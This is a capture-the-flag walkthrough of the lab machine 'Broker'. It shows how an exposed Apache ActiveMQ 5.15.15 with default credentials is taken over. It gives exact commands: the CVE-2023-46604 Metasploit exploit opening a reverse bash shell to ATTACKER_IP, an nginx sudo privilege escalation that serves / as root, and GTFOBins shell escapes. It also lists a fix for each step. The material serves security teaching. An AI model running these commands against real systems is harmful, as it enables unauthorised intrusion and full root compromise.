Broker
Summary
I scanned the target and discovered Apache ActiveMQ 5.15.15 exposed on multiple ports, with its administrative web console protected only by the factory-default password. The default credentials gave immediate confirmation of a vulnerable version, and the publicly known CVE-2023-46604 deserialization vulnerability in the OpenWire protocol allowed unauthenticated remote code execution with a single Metasploit command, landing a shell as the 'activemq' service account.
From that shell, the 'activemq' account was permitted to run the nginx web server as root without a password via sudo. A malicious nginx configuration was written to serve the root user's home directory over a local HTTP port, and a single curl request retrieved the root flag — achieving full system compromise without ever cracking a password.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 1
nmap -sV -Pn -p 22,80,1883,5672,8161,35887,61613,61614,61616 $TARGETExact commands 2
curl -sS -i http://$TARGET:8161/admin/curl -sS -i -u admin:$PASSWORD http://$TARGET:8161/admin/index.jspFixReplace the factory-default ActiveMQ administrative credentials immediately after installationCritical
Exact commands 1
msfconsole -q -x "use exploit/multi/misc/apache_activemq_rce_cve_2023_46604; set RHOSTS $TARGET; set RPORT 61616; set TARGET Linux; set LHOST $ATTACKER_IP; set payload cmd/unix/reverse_bash; run -j"FixPatch Apache ActiveMQ to a version that is not affected by CVE-2023-46604Critical
Exact commands 2
id; hostname; hostname -Icat ~/user.txtExact commands 1
sudo -lFixRemove the unrestricted sudo rule that allows the activemq account to run nginx as rootHigh
Exact commands 3
cat > /tmp/evil.conf << 'EOF'
user root;
events {}
http {
server {
listen 8888;
root /;
autoindex on;
}
}
EOFsudo nginx -c /tmp/evil.confcurl http://127.0.0.1:8888/root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 1883/tcp | mqtt |
| 8161/tcp | http Jetty 9.4.39.v20210325 |
| 61613/tcp | unknown recon-sweep-discovered |
| 61614/tcp | unknown recon-sweep-discovered |
| 61616/tcp | unknown recon-sweep-discovered |